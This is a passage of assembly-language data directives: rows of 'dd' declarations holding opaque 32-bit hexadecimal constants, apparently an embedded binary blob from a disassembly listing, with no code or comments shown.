dd 0AD6C0464h, 221584E5h, 620A164h, 7FAD67h, 3785F9E4h
dd 2388C6A4h, 0F39991C0h, 0A8EBD1h, 0FEF4335Eh, 2C20BA0Dh
dd 309E3903h, 9EAF3641h, 0E324A1A8h, 5D081318h, 0C42DAB62h
dd 1B804025h, 2BCC05Dh, 0DB38EF74h, 88A89682h, 2946749Ch
dd 6881AB3Fh, 0DF15BA40h, 3869803Dh, 0DEBE1657h, 0D95F3894h
dd 0D4476880h, 4A9DE362h, 1844C713h, 29055C6Fh, 80E2E07Bh
dd 0A0FC5877h, 0E8AECE30h, 181FC2B0h, 68405FD6h, 9883C4C6h
dd 9814D0CCh, 11502828h, 0A2E88BB7h, 0B46466h, 9A27C516h
dd 0ECC9446Bh, 246C1500h, 0EB8DBB7Ch, 92C124D4h, 8D91208h
dd 5EC01D5Ch, 4C33DBADh, 4E0446Ch, 7500AD71h, 0C65C66Eh
dd 0B93D2Ch, 0E289526Fh, 4BCD28FFh, 1FC4F600h, 38A308EBh
dd 687034Ch, 0AEC9BCABh, 0C6417828h, 23FC2152h, 5D023FE8h
dd 0FFE5AB6Dh, 6B101B19h, 89015D1Eh, 7DEDB82Fh, 44EE437Eh
dd 0BF320BECh, 8048248Ch, 4828295h, 58601BD0h, 3323D9ADh
dd 0B6117Ch, 9CAD737Ah
dd 4C76F980h, 8834E462h, 39C80359h, 59235A28h, 0AD620E01h
dd 398C3365h, 0AD65C0FCh, 0A6C94200h, 1877C6A5h, 607D005Ah
dd 8BD05CBBh, 0FE13DCA4h, 0EC052BAAh, 548C28D9h, 0F9BA4192h
dd 551BAB7h, 0B55F29BCh, 0DBDEC503h, 0EDBED80Ch, 0C4D403D6h
dd 0EBE0B480h, 13115002h, 8350473Eh, 0B1D108BCh, 0ECC084E4h
dd 0B203B71h, 0ED0B980h, 1262B182h, 343BDA1Ch, 0C916E540h
dd 262E0344h, 422C20D7h, 0E89CA36Dh, 1802E246h, 15AB6F5Dh
dd 811CE447h, 0F99B5D00h, 0C706B07h, 0B261BF43h, 3F09DB58h
dd 81C124B7h, 0E18DE3D4h, 0F1C88850h, 0DC9C0B0Fh, 0DC022CA1h
dd 0C10068A0h, 0C19835BCh, 0B4B81240h, 6B3474BBh, 657DAF3Ah
dd 8C308540h, 1217B81Eh, 9034DAC6h, 591C8228h, 207F6E04h
dd 0AC901188h, 1D8019FBh, 83AD756Dh, 1F624567h, 5FCD9398h
dd 5BDB010Eh, 0D2B2035Eh, 63E10F2Ah, 0A237278h, 0C6C2AFDAh
dd 1912C064h, 10403BB3h, 6AE5403Ch, 0A711C031h, 77BCF065h
dd 94182301h, 29A402DCh, 84015078h, 2134D739h, 9D90583Eh
dd 26401121h, 57467498h, 62333100h, 0AAD76815h, 240A1B16h
dd 0E202A00Fh, 0FD2DD9Dh, 396F983Fh, 1F1D37EBh, 86542780h
dd 0B50CC1ACh, 0C43671BAh, 19016002h, 1A31068Bh, 168D210h
dd 374B7201h, 0D95181Eh, 38506871h, 80A2B9A4h, 0DE0E72AAh
dd 0CAC90h, 0C35A755Eh, 0FDFE0025h, 3ACB944Fh, 4716A78Eh
dd 0AC425316h, 824B88C0h, 42051C98h, 6AECC1E4h, 852CDB18h
dd 90234358h, 0B1404411h, 70045885h, 14F74BC3h, 22F69BB8h
dd 51839200h, 9528F431h, 6041F259h, 23FC78F7h, 9404F008h
dd 2DBF85C5h, 33EC9492h, 0AB615D98h, 91FF0521h, 1A007119h
dd 0B0FD465Dh, 67DEE75h, 0AFB8022Fh, 6917A158h, 0CC93B391h
dd 8A394C33h, 0B9021D38h, 7D3CF752h, 0A2F19AC0h, 8F87F5Ch
dd 0F2DA4A5h, 52729F69h, 236C3A80h, 3C2C03B3h, 18D10CFh
dd 499DAEB0h, 721820C8h, 0F4E83D29h, 82D8B0Bh, 0DC84ECDFh
dd 76409939h, 58E1D028h, 0D95A8830h, 5C1EAF4Dh, 0A4005729h
dd 0F66DB1DEh, 6B00956Eh, 0CB3618D5h, 0C35B89FEh, 0F4580131h
dd 6F98FC83h, 0AF2606E7h, 390070A4h, 0F55BF047h, 7C624C60h
dd 69766801h, 89586103h, 8223A708h, 0E0C35B7Ch, 1DE337ECh
dd 833C06DFh, 46098F76h, 0BCE0D05Ch, 35008CAFh, 6C1A2B20h
dd 0F9E8CC93h, 6D165462h, 0AF604E39h, 790B1368h, 11C89D62h
dd 610587ACh, 80AE52E4h, 0DF9C8C04h, 81E10D09h, 0ACDC8271h
dd 46305215h, 16F0264h, 315E8B1Ch, 77DF1027h, 46FA0001h
dd 0F34FD6BBh, 48099963h, 1D34514Dh, 835711A8h, 8B3DD1h
dd 9B951CC8h, 1BAEFFAh, 63EC3Ch, 0EBFF09EAh, 0F0803Eh
dd 0A3A96AE3h, 0C8578A17h, 0AE60E600h, 4439B373h, 82CF3B34h
dd 0ED921101h, 381F89B0h, 48A09040h, 48CC31F4h, 64C6A966h
dd 28F7944h, 3DED51AEh, 0C8018FEh, 5EB02E2h, 62822B10h
dd 4050C50Bh, 32B47411h, 3029F270h, 961747E1h, 0A509E8AFh
dd 0A4D8A2D3h, 25D054D0h, 57913897h, 81A2EE83h, 4BEFDAC0h
dd 0DC439901h, 6FDB1609h, 0B7D3B082h, 0B443B99Dh, 0FCC1C824h
dd 91E017A5h, 0D0078027h, 94429D91h, 1B42180h, 0DDD2063Ah
dd 0C825E769h, 11301751h, 2D3980ABh, 6E38FCh, 0C08FC5D7h
dd 0DE51CD60h, 9135D027h, 0AED01328h, 0AEC0AA3h, 868CE2CFh
dd 51B29469h, 4AC0B825h, 3BA8605Ch, 840E0640h, 31E3C938h
dd 0C6608850h, 0D48DDC03h, 30D283h, 6B29C069h, 0D90DF6C3h
dd 0B00FDE4h, 4060DF0Fh, 30DA978Dh, 0AE412C89h, 443DF061h
dd 0C32E8014h, 9EFF7520h, 78A7F48h, 5B77C7BFh, 0B252F419h
dd 30ACE218h, 0D079FCFh, 0D552CD3Bh, 0E25811A9h, 0EAE8F0D0h
dd 0E93226A3h, 0CD8549B4h, 0EF8D0F7h, 353E8B65h, 3444CEB7h
dd 110015D5h, 0BAC1F810h, 1E93B13h, 5488B505h, 97079C47h
dd 11637941h, 4CB17CDBh, 0DF18985Fh, 7D7E112Eh, 9FF3A300h
dd 597AAA89h, 0C0475C93h, 0E4C07858h, 0ADE2B060h, 7CDCC124h
dd 0E5001464h, 1EC73E61h, 17688F5Ch, 0C8209E69h, 9AA2BAB8h
dd 0A4F07ED8h, 2F8600F0h, 0D7AE513Bh, 781F4FE2h, 8A040B62h
dd 0CC88D132h, 5FC21695h, 0E44C018h, 0A105FC9Ch, 0AAB9ECC3h
dd 0A0E3500Ah, 0C5DF4604h, 36E940A1h, 3F2C50E6h, 0BC807BBBh
dd 0C7157F59h, 1960EF32h, 0B493B261h, 0C82E604Ch, 29D98F43h
dd 8B84E0DCh, 40A41ABCh, 20334A5Dh, 0AEFF9660h, 0C49CA42Ah
dd 0F8F59403h, 0E098DAECh, 4C47D1C4h, 4624D436h, 1A4674D4h
dd 0EAD69400h, 4305E191h, 707FCD0Fh, 3A0B20B3h, 41468B40h
dd 386CEED4h, 6285E102h, 19A6C0E3h, 0E9111053h, 4F3D0085h
dd 0CB441A3Eh, 22CC796h, 81402CC4h, 23F4375h, 6601BBABh
dd 0C844899Eh, 2B76BA0Eh, 51105A94h, 18B579CCh, 2DC828A0h
dd 63F912E4h, 0B6C045Fh, 0F7C00040h, 3C32B8F3h, 0FC4D1CD4h
dd 66210C00h, 6CC489B2h, 0B420BCB1h, 3C2E0F4Fh, 18002C23h
dd 363CADE3h, 2D955C89h, 41ECA904h, 8DB0C891h, 2B4ABF42h
dd 1B2388h, 19F2F927h, 0F101EF5Ah, 0E8DB3BB9h, 14A87995h
dd 30E4982Ch, 2B70871Dh, 0A0B640B1h, 9B54676h, 2EDD6EBh
dd 0F4311CCh, 89E93D84h, 313CEC70h, 6788A1C4h, 8C7E0490h
dd 240E0183h, 1DF7FE0Dh, 7BC6EC5Bh, 8837210Ch, 0A92963h
dd 1AFA2261h, 0FC7C0632h, 8165193Dh, 2068E681h, 4920960Eh
dd 5D901B5h, 46B6C023h, 0E044EA3Dh, 0B02F8F01h, 235AB3F1h
dd 3C5BE0ECh, 6A0172A9h, 9DD7B20Ah, 49D1FCB1h, 0DC398624h
dd 7046B016h, 896E8Bh, 0C53846C1h, 0D36DAC84h, 149CE77Ah
dd 59E29505h, 528860CEh, 7E2D80CFh, 972162Eh, 94BF3DE6h
dd 0C465E0C1h, 78F5B5B8h, 0C0698824h, 0E35F85E4h, 0E0ECE858h
dd 385EC2Ah, 568002EFh, 0FFC814C4h, 8D00B588h, 6CE5170Eh
dd 0A955B3D1h, 0F31069CCh, 0CE5C0185h, 5A420491h, 20F004D0h
dd 602F221h, 88F29476h, 285A312Fh, 2423982Fh, 0E90B033Fh
dd 80CFFEC1h, 0C025D13Dh, 551FB221h, 11C02F83h, 0A5960AADh
dd 7F770056h, 0EA63DDE0h, 0F501CBFCh, 0B3CD255Dh, 8BCC78DBh
dd 0E4FD69B4h, 549C0087h, 0A4920141h, 0AC46F5BCh, 3D6B09D0h
dd 64D8F7D4h, 1A7964B9h, 0C7005C18h, 9228F9DDh, 7E69D282h
dd 760D019Fh, 0ACA49441h, 107082F6h, 0F2BD87B2h, 4300962Ch
dd 70F84BC7h, 69025B7Ah, 0C49B6190h, 84CAE0A0h, 66E71E99h
dd 5A04B8B9h, 0D498BCC1h, 0B5848090h, 30BE11D4h, 747C16F4h
dd 0D03013CBh, 0A1D02FFCh, 10ACE600h, 5E7DB009h, 48103F1h
dd 0A4A8D7C5h, 0B301B7DAh, 0E9F4C287h, 147B4F17h, 822498E8h
dd 52E505A8h, 0C1389B37h, 89EA21C4h, 0C5309160h, 2EF4158h
dd 3B2D8B7Ch, 0C300E870h, 1C20178Eh, 2C58E24Ch, 67D8EC3Dh
dd 0C827DBFFh, 0A96DC2AEh, 0E9849109h, 5D0B1918h, 65FDAB68h
dd 16A8018h, 0D99D495Dh, 2B218803h, 0A880850Eh, 0E43720BFh
dd 0B9FF17BBh, 81F088BDh, 0B4A8C0Bh, 0BF3880E3h, 9D0B9D3h
dd 586148E2h, 5E38508Ah, 0E4002446h, 0B0BA9C56h, 98B315DDh
dd 0CB778400h, 0B3BCFFAh, 218748D8h, 0F66F90A4h, 0B8F6E014h
dd 1E5B01Dh, 3B8489ADh, 36F17CCFh, 1A897A4Ch, 0B424B4E9h
dd 134707FAh, 0E78EA018h, 0D62A33F2h, 11A90BB0h, 4A02D5B8h
dd 77D3D9CEh, 8CE6Ah, 6BF6A471h, 2893821Dh, 8EBBE01h, 8076035Eh
dd 0E9072464h
dd 0E2ACC110h, 0DF436005h, 0F01EBDD5h, 288B750Ah, 6C337201h
dd 583082A8h, 0F610211h, 686EEA34h, 0BCF04442h, 0AF7920B1h
dd 941EA918h, 314E9303h, 6521A991h, 60A1E454h, 0B3775B6h
dd 1A897E91h, 0B1F36400h, 2C9EED1Bh, 0C0E11363h, 25A5E8B0h
dd 7C24E6E9h, 1140A8C1h, 7E071688h, 0C9F52AE9h, 5F3D1200h
dd 0E3786C18h, 0A401A54Fh, 0B699A968h, 28ACDC39h, 0AF69FF00h
dd 975F431Ah, 39C6002Bh, 0B9E642EEh, 0A498186Ch, 62027746h
dd 768B1301h, 0DC126C47h, 8626AF00h, 1DA7543h, 73A9488Fh
dd 3332EC15h, 0FC9502D0h, 0C7133888h, 6344C484h, 402FE74Eh
dd 33FE7503h, 0B06898CFh, 64BEE4h, 0C4B8B90Ah, 8F093B32h
dd 40185E3Fh, 2A974370h, 10BC308Dh, 1488E1C4h, 74C43BE5h
dd 650211CBh, 6753C498h, 0C29DAE2Fh, 0F22A7DE1h, 0F54B00CCh
dd 0D53458BAh, 0D018E86h, 9DB38471h, 31D02716h, 26CC32BFh
dd 285A19C0h, 1CBAD620h, 11FC93h, 69208C56h, 4C924F9Eh
dd 31BB7000h, 13DC8F7Fh, 79C62559h, 94433404h, 298F80ACh
dd 0B09441C4h, 0B04676h, 4AF8CBB2h, 0B4AB3D95h, 902314D4h
dd 0E7097623h, 0B0500585h, 21589062h, 0D485EF2Fh, 0B828BBADh
dd 2290978Bh, 0BF44C480h, 48F48026h, 0AB58EB1Eh, 128CD2A1h
dd 8BC84173h, 0C71BC8CCh, 30C11766h, 9C0ED10Ch, 64A82707h
dd 0CB7215AAh, 8014D0BCh, 0DF0609Fh, 47832D94h, 803561E0h
dd 0A7BD0FB9h, 986659h, 0E8D5223Eh, 0DFC002B1h, 0FB63801h
dd 13DE2C85h, 51DE9821h, 60DC73F0h, 17D3463Ah, 2789B227h
dd 0A2A1E0DCh, 0D900DE2Eh, 820E75CAh, 0FC1394B5h, 5C04A16h
dd 0F4C40D68h, 3A0EB270h, 0E5E9AFEFh, 0D4415723h, 0CE0585E3h
dd 0B73CB440h, 877092F9h, 85B14FE0h, 8E055E04h, 0E8C889B0h
dd 0DACA1EB8h, 80FDDED0h, 5642052Ch, 0D300235Ch, 0A6F641Eh
dd 27BCA7F4h, 0B021AB87h, 0F468E20Bh, 7C0E82B2h, 0C0840FB0h
dd 0A5A74890h, 0CC3A97D1h, 71C2A840h, 0DE2E94E0h, 0B8A00862h
dd 1701EF46h, 0DAB6E5Dh, 88240CFFh, 5D001F74h, 0A7DABE7Eh
dd 9E74097h, 44C7059Dh, 0A2D1E051h, 0D005518h, 0C08C9189h
dd 2767EB0Bh, 9C81DB33h, 4813E93Dh, 0F2063B94h, 37DF0366h
dd 514E0091h, 0D0A177Fh, 3F5D2BF8h, 87473CE0h, 0C6058649h
dd 0A05BF430h, 64624CF1h, 945C00D6h, 15AF7983h, 0A7F03654h
dd 84C44Dh, 0C6CF5CE5h, 95ABA1BCh, 0AC568004h, 1A457224h
dd 0B4605DD9h, 849116A9h, 3EA880EAh, 760123AFh, 6D792BB6h
dd 1C58586Bh, 81B8805Bh, 0E74110C0h, 0A04971A5h, 25F6C8A4h
dd 84E5DA12h, 0BA60AEE4h, 0B7138D5Ch, 0F401EF7Ch, 1D7051C5h
dd 18F8A040h, 1D9DDBh, 94805891h, 0C9CD23FFh, 0B5ADE308h
dd 40651EC8h, 0A96F5CBFh, 0A54E5DC4h, 600DDC02h, 6A4414Bh
dd 53ACC20h, 6CFC2AA6h, 75B00762h, 19A54120h, 6A488925h
dd 3F6C0159h, 5C24A2B7h, 9B5D03D0h, 0A0B1D4A8h, 82355813h
dd 85C090B7h, 7565B003h, 76CF0F00h, 0BAB8070Bh, 0B1F87Ah
dd 0BE461F5Dh, 0D0501C5Eh, 2C587471h, 0E4730018h, 61748D2h
dd 16FCEFh, 4066BC0Fh, 76BAB5F0h, 6D01E8B3h, 6E8B1201h
dd 0DD882818h, 24010075h, 0DCAB6022h, 3604445Dh, 0FFA956Eh
dd 1AE244A2h, 259CD730h, 9476956Ch, 95D04225h, 0C4531050h
dd 32012901h, 3C1CD4B7h, 87A509DCh, 0C53C3053h, 2F9C30CCh
dd 0BFCE5020h, 7A1D7114h, 4FC8E120h, 0A7103318h, 88261B78h
dd 6F994074h, 2500A239h, 1FB576E8h, 0A86696h, 0F04101E6h
dd 0C36DB91Dh, 0EE3BBA0Ah, 50249416h, 72F4674h, 0B6C9FE5h
dd 7DE8C2B0h, 129698F9h, 0E22B2997h, 4D0CC058h, 9ACAB0Ah
dd 0DF074A77h, 0EC003872h, 15B4B540h, 0FC3CB042h, 20934C18h
dd 0C0B83805h, 8874CE62h, 803CC444h, 83AFC36Ch, 0F888424Bh
dd 51EC17A9h, 1D9CB787h, 0C884B93Dh, 0BCE488F1h, 0F8260048h
dd 4F404380h, 8C991F02h, 0F91A6D80h, 0C75D91h, 2F1D1EB9h
dd 0B815A2C3h, 6103277Fh, 5E738885h, 0EA588808h, 0D02B5E8Ch
dd 9C42C97Ch, 382FBA02h, 48BE34DEh, 123DDACh, 88793EFh
dd 0E03E4BC1h, 6E1552D2h, 58C165Eh, 37817CA5h, 58F284B2h
dd 918830h, 1D15C6D7h, 0EB62EA95h, 1904662Eh, 0E9DF060Bh
dd 447C9D58h, 61E50B02h, 44BA977h, 0BA8B80A0h, 586EC305h
dd 4CF47F87h, 0E0B44818h, 8C1ABCh, 1DF8854Dh, 1EF593FDh
dd 4676C4BEh, 6ECB26AFh, 22D3009h, 41F214A0h, 0E470E540h
dd 8464BC2Ch, 96299DE8h, 6F1728E0h, 383BB64Ah, 0C0F4423h
dd 0FC4625E2h, 0A4009852h, 6E24FF16h, 19FA1D9Dh, 0E9B809E3h
dd 194E003h, 82B930B1h, 53114DB8h, 7968D115h, 1E6B181Bh
dd 0B976C1D5h, 0FAFE0C82h, 98769DE6h, 0A966DD60h, 432A2279h
dd 0F1096D00h, 0B90A69A7h, 5FB0384Dh, 81619531h, 8A8E44Eh
dd 58C83C4Ch, 9213868h, 8ED0B9ECh, 420733Ch, 38EB2D7Ah
dd 0FFBDD9DDh, 0E69BC982h, 844235Bh, 0C12D88B0h, 183759h
dd 0B9E07B10h, 9B8A51AFh, 54F3C8CCh, 89AE0106h, 0F1ADE89Bh
dd 2738393Dh, 2F04661h, 6253ABC3h, 0F84C2522h, 465E549Ch
dd 3D680B24h, 9398B1E2h, 0F539E940h, 6CCB044Bh, 0E9B6810Dh
dd 3947AC24h, 5A82EA62h, 5CE0C58Bh, 0E420E509h, 0BD82601Ah
dd 0B12B2432h, 8ECD8090h, 17D4587Eh, 90B6C10Bh, 24512Ah
dd 3CD9D6E1h, 0A03DB793h, 0B9D5036Fh, 0C93E1720h, 34601DA8h
dd 984B48BFh, 2215A41Eh, 57714091h, 59037A18h, 91FFBED9h
dd 0DC91C7CAh, 0A98EAA29h, 37A39921h, 6DA8A39Eh, 9103800Eh
dd 51955802h, 7098B4FDh, 0F184B0EDh, 8007C6Ch, 0AC87F29Ah
dd 0D5049691h, 0D1D39219h, 58F2E0E2h, 23EA530h, 69659E4Dh
dd 6876C981h, 9301B860h, 48289114h, 18465CD4h, 9EB8D1Fh
dd 1C85C754h, 0E24C9129h, 645CE533h, 0C6E213A0h, 8CC5B44Ah
dd 305B3022h, 1713016Eh, 7CCB568Bh, 176D800h, 0C6BC8E5h
dd 9317F3Ah, 0D855D4ABh, 6D840450h, 0ECFB8B4Dh, 2F1DCF88h
dd 7844CC0Dh, 0BDAD0008h, 0EDF19251h, 183CE432h, 0D8DCD52Ah
dd 0C283620h, 0EE00C25Eh, 2FEB3731h, 13F03B59h, 0F02368BCh
dd 0CB0411B0h, 837690C1h, 30F028A5h, 5BE20032h, 40AD917Fh
dd 7C09A6CAh, 19ECEEFh, 589B15E6h, 0C4358054h, 29F2A4B2h
dd 0D1430h, 31D0A73Bh, 0FE564832h, 0E5DC189Fh, 0CB052195h
dd 602F0313h, 8C094423h, 48E40273h, 0C4AB0152h, 10036E75h
dd 0EE10C658h, 0E47CF518h, 1B30F6BDh, 74510511h, 0A8D5E7E1h
dd 0F3AA0054h, 6A774112h, 2F0B476h, 60E43B32h, 4202387Ch
dd 0C726A356h, 60AE44B0h, 93F43Dh, 202BD06Eh, 0A961E090h
dd 0A0F1BC13h, 2ED2ACF2h, 31B23B0h, 0F26894D2h, 0AD8002DDh
dd 0C4893205h, 3CA41CF1h, 99F300DEh, 5A79C93Dh, 20043C5Dh
dd 0FF742F2h, 0A880DC9Bh, 1E610D2Fh, 39E50A13h, 70488C09h
dd 0E0E88DA8h, 0D229D130h, 5A81AE12h, 20811065h, 8441E151h
dd 0ABFCC25Fh, 85AF13C5h, 9474019Ch, 4E341613h, 0CA5C888Ch
dd 0D11B02B6h, 3AE0A0E0h, 8F7E680Dh, 9702461h, 0D1E176ABh
dd 4AE072C6h, 0EB18C0A4h, 0C00A086Eh, 0D03DC29Eh, 2DC3DA7h
dd 4B45A99Dh, 70467064h, 18016302h, 18F17E8Bh, 16BD360h
dd 73DD00BEh, 223A99BBh, 7B5034B9h, 4524BC96h, 0B0250BAh
dd 55873Eh, 0F1896923h, 8126BC98h, 35AF28ADh, 4ABD8094h
dd 2CADF518h, 2085348h
dd 0D8A7444Ch, 0EE2C7E27h, 0E0730E09h, 0B41658h, 25176463h
dd 0D3563088h, 4069BF09h, 1FFC0036h, 0B5E9F271h, 0D2788080h
dd 0B9780477h, 50E09656h, 58C1AFCh, 33E6AD5Fh, 0C31CF264h
dd 0B3AD7679h, 0D8D2E8A6h, 6915149Eh, 3C072098h, 7A9066F0h
dd 68C70508h, 0B468B825h, 0B6ACF4ACh, 18101D8Ch, 0ED843C3h
dd 0F7F01BE8h, 2125BCAEh, 0A85CE8ACh, 0C02C5968h, 0F4008FE8h
dd 0FB3D256Fh, 995C6276h, 18B0798Ch, 29FE0151h, 0B8C59402h
dd 143B6F43h, 853D2723h, 0B58F4D59h, 6504FCACh, 0F9B699BCh
dd 1AC5ACDCh, 0B01AF28Ah, 0D2E1F84Dh, 25E878E1h, 0E3900E24h
dd 61E01C95h, 0D432C714h, 5882DD4Eh, 0C048EDB4h, 2E96DAC0h
dd 3E6B9400h, 4361ECABh, 8B90B336h, 0C73027Dh, 6D0958h
dd 65A8E9EDh, 4AFF838Dh, 0E73E1D0Bh, 89C8104Bh, 0A09246h
dd 0D29CDE9Bh, 0EA9ABB66h, 29F6A492h, 0B54BE0F2h, 2823D02Eh
dd 0DD612B00h, 3F228BC0h, 0DF1DF5BCh, 0C25601D5h, 0E4857306h
dd 0B0E8AB9Ch, 3E4C440Eh, 1A1520F3h, 3A2E0895h, 0C77F9442h
dd 0F036D721h, 4BEE6FACh, 76F5A31Bh, 868FC818h, 2DDC0053h
dd 3948EB7Bh, 1201BE02h, 4FEBC85h, 28BCABADh, 670CC600h
dd 396C4D1Bh, 0AFF2700h, 573310EEh, 0B67813EFh, 0C885071Ah
dd 64784C07h, 7FCACE00h, 0B461E8B9h, 8D866C1h, 0B038502Fh
dd 72CA80C6h, 0FAB231CDh, 0DA8C006Ah, 0B66F8A28h, 0C918424Bh
dd 9081B3ADh, 396B0EEDh, 81611E29h, 0D138C631h, 752180BCh
dd 53D46BF5h, 40E2EDE4h, 1C271961h, 0C009BFD9h, 0A96328Bh
dd 721528F2h, 80A08085h, 15ECF33Dh, 22944342h, 35FA84h
dd 0CBD4B8F3h, 651BEEACh, 6DC1DF00h, 3684DC27h, 0B330114h
dd 8CB67B4Ch, 60612013h, 63879A24h, 2C280A00h, 0A08D15AFh
dd 0B1277E0h, 14EB89EDh, 389D8606h, 0F883BF3Ah, 31A0316Eh
dd 0EDF34080h, 0F0AC2A15h, 0D98A44h, 4118F338h, 4BFF1B14h
dd 29B950C1h, 0F89DB5D1h, 46D0E812h, 0CA3E7F38h, 1180A37Ah
dd 0C9C5002Dh, 0F929EBCAh, 0BA25011Dh, 0F232A582h, 392AE415h
dd 6CA3E0C5h, 9123A83Ah, 95DEC800h, 1D9FF2Fh, 3DB7F676h
dd 8233AEE0h, 79AF2958h, 1498805Ch, 3085F696h, 0D8106D7Dh
dd 2B301B12h, 771CE833h, 6AE40049h, 8F74E376h, 941D522Dh
dd 4DCA1D83h, 46567C20h, 0ED30003Bh, 0C357DB37h, 998D0256h
dd 0A0AD2993h, 3B14A880h, 80C0894Fh, 5F5119BDh, 2BB4A037h
dd 188F609Bh, 0B1345C93h, 8BF4FB12h, 7F65B840h, 314CF47h
dd 0C98265Eh, 83A32876h, 87462100h, 324E4847h, 0B96701DAh
dd 6D19BB45h, 337885C4h, 2820F1B1h, 23C54779h, 71116E14h
dd 47814C00h, 431D94E3h, 4983260h, 50F2D116h, 0E4AFB45Dh
dd 2DCCA896h, 0A6900C8h, 422B4E6Bh, 0CB09C13h, 0C484F92Ah
dd 0B4AF863Ah, 0B8003198h, 115C6D9h, 9B0702D7h, 0C7424A87h
dd 0F304DC4Ch, 0E293F6Bh, 7720C762h, 56BFBh, 27E00B93h
dd 0B4822C1Bh, 20433736h, 1DDA4650h, 29846BEAh, 0C43238F6h
dd 6BF27220h, 0A8C97F76h, 0FBF9E8h, 98EF7D9Fh, 0CCF30957h
dd 884A7200h, 6F48F42Ah, 0A2F010Ch, 0E86A19BFh, 0F5B45235h
dd 5E82DF32h, 0B4B14E14h, 85481079h, 0DA580147h, 2A9F2417h
dd 12BAC873h, 76F4EA1Dh, 98B9D702h, 11689761h, 999680BCh
dd 0F768F14h, 0FFD21CB9h, 60DCC2CAh, 0DEF0F2AFh, 0BD842F3Fh
dd 0B5DF057Ah, 1895666Dh, 8207D06Eh, 90FD6ECBh, 0F9B7FAE9h
dd 283FBA73h, 587AB0BFh, 51E2D8AEh, 848DFC08h, 2271CD3Ah
dd 3392F260h, 0D8613CC8h, 0FC48D600h, 0E3961007h, 35E53FD2h
dd 0DD224300h, 9F4A273Bh, 0C1565C00h, 0D378445Dh, 0FA1A0074h
dd 2B358D60h, 0D741B92h, 784DBF24h, 1C25F400h, 789F43AAh
dd 4600B214h, 0F3097E82h, 9C3215EAh, 0EA98B0h, 0CD81CF3h
dd 9382D0E4h, 9127372h, 0CC14A9A5h, 62AE0B5Ch, 67041A0Dh
dd 67304488h, 3A9F3DF0h, 0D993008Bh, 3127DCCCh, 68D6B84Dh
dd 35139E06h, 0C8F76460h, 0F3426083h, 3A1514EFh, 0EBB3B494h
dd 28B3F3E3h, 728B9CC8h, 5E628700h, 1D1E2E5Fh, 2B5803EFh
dd 94822D80h, 659AA093h, 183BA061h, 7BCA1EC2h, 3511A3B9h
dd 0CADB020Fh, 0D16FE6C0h, 349854C6h, 9D72B09h, 78100983h
dd 0D270A0FBh, 8F2E00C9h, 0D64659E1h, 3463C6CAh, 0F0B8A849h
dd 398A934Eh, 2085740Ah, 0C018D35Ch, 21EE73DBh, 13A3011Fh
dd 0A0CF6070h, 0F9168080h, 144C9A49h, 239474DFh, 0F33F0086h
dd 951215EEh, 0D6608091h, 97F337h, 680927FEh, 6967178Bh
dd 4CD42D02h, 61736B6Dh, 22CAB98Ch, 50CCF7B5h, 0F4462090h
dd 0C4477804h, 8B1CC414h, 804500FCh, 0F3B8F247h, 0C5841EADh
dd 88148D55h, 0C7306021h, 19B9FCA8h, 8B38924h, 0F7402D1Fh
dd 5631910Bh, 705A0538h, 8B33C8B1h, 0C082C83Ch, 0E72A3DE6h
dd 56906302h, 53916453h, 719CA93Ch, 38C1887h, 0B593792Ch
dd 48297E31h, 18A6DC22h, 1CBB4674h, 830098F5h, 0DBFED979h
dd 7D320A27h, 2CF8B13Ch, 8A467448h, 27AA4F01h, 41BB741Ah
dd 229107B8h, 93C23E4h, 0C584CAC5h, 0C06CA2E0h, 0AFCADE01h
dd 2B480302h, 0B34D1E46h, 0D864C1C2h, 97083516h, 6C609856h
dd 599DFDCh, 492144BFh, 8872C048h, 54C52BAh, 0D35E045Ch
dd 70800302h, 969A2F1Ah, 845520Ch, 146191C4h, 0ECE9D0CAh
dd 59FBF700h, 31BF2DFFh, 2C340237h, 952DBB0h, 852CF451h
dd 81D54130h, 5B4005Ch, 238ACB4Bh, 7CB99B0Ah, 4CC0F210h
dd 0A3E5BF0Dh, 939E1606h, 806ABh, 8F824338h, 50BF156Ah
dd 0B4E84400h, 20A102D1h, 0C5A41C69h, 493AC0B0h, 53501AAFh
dd 0EE91901Fh, 1877700Ch, 0FC14184Bh, 554AC8B9h, 0FB77C00h
dd 0A2F7E479h, 83010391h, 351E6450h, 2F36AF8h, 48330430h
dd 304B4382h, 4C892A37h, 0E80ABF10h, 549DEEA3h, 6D073D91h
dd 4092BF18h, 0B01A8BF7h, 0A2733503h, 9181DD2Eh, 28834404h
dd 4C58232Ch, 0CC4DBAF1h, 3D66C230h, 215608h, 0CB4C5005h
dd 835FF389h, 406444A5h, 3C054860h, 0D77851C0h, 60FDF0h
dd 9BE7AD5Fh, 0B5A1866Ah, 947A7028h, 0BF8E5800h, 2E9D8D61h
dd 2FC3DBAh, 7A1698D0h, 18B060A8h, 44BEFD89h, 25CC80h
dd 63B7C9B8h, 0ABFA83F9h, 689E4600h, 3782C214h, 7791C02Eh
dd 86FEC9C3h, 0FD7F2805h, 0B428112Ah, 8A78C50h, 9C803491h
dd 8183FC13h, 0E9570330h, 7A7163h, 90E32852h, 65C0A993h
dd 0EDE2F009h, 0D73600E7h, 0BE80B0h, 569582FCh, 162CB57Ch
dd 6045EA4Ch, 84776F60h, 0C89F455h, 710E7E27h, 21C0A408h
dd 0E9847FD2h, 3B3D04C0h, 0C0589E6Eh, 128D5F11h, 29C094F8h
dd 7E4C90D6h, 987B00C1h, 89272469h, 0B014145Ah, 58A8B261h
dd 64120A90h, 0A1028420h, 809B6CADh, 0A40207C8h, 0A718C047h
dd 40579FC5h, 4E0001F8h, 0E46B9880h, 22BE37Ch, 618FA178h
dd 49C03116h, 4F60B412h, 88C5A338h, 0F350C392h, 2295EC22h
dd 0A3051B8h, 0A3E608BFh, 6B589DFEh, 0DDBF0012h, 0B478A515h
dd 0BB01C28Eh, 0D9BC36CEh, 0A8402101h, 8955E4A1h, 8711814h
dd 79165784h, 0CC4FA6C4h, 7F388480h, 8EE4A0B5h, 8CCDA30Ch
dd 60E9B8A9h, 4B092997h, 0A600A474h, 0DFD0D22Bh, 0E8F9BC8Ch
dd 8A5A107Ah, 33B6008Fh, 7C571B7h, 830F0567h, 200B727Eh
dd 7A8F6890h, 317F5B30h, 1E9E5A2h, 50E3090Ch, 98D30147h
dd 40219808h, 49E907DDh
dd 903D6F23h, 46054F18h, 8B8240h, 76CB732Bh, 74ABB162h
dd 0C2FAC57Fh, 209ECF00h, 261C53E2h, 517E60C6h, 131B145Ch
dd 0A8E0F27h, 700E04FAh, 2924690Dh, 811C07B8h, 80E191C8h
dd 0BA774C54h, 4A448C6Dh, 0F6C4FF09h, 0B040033h, 12A990FDh
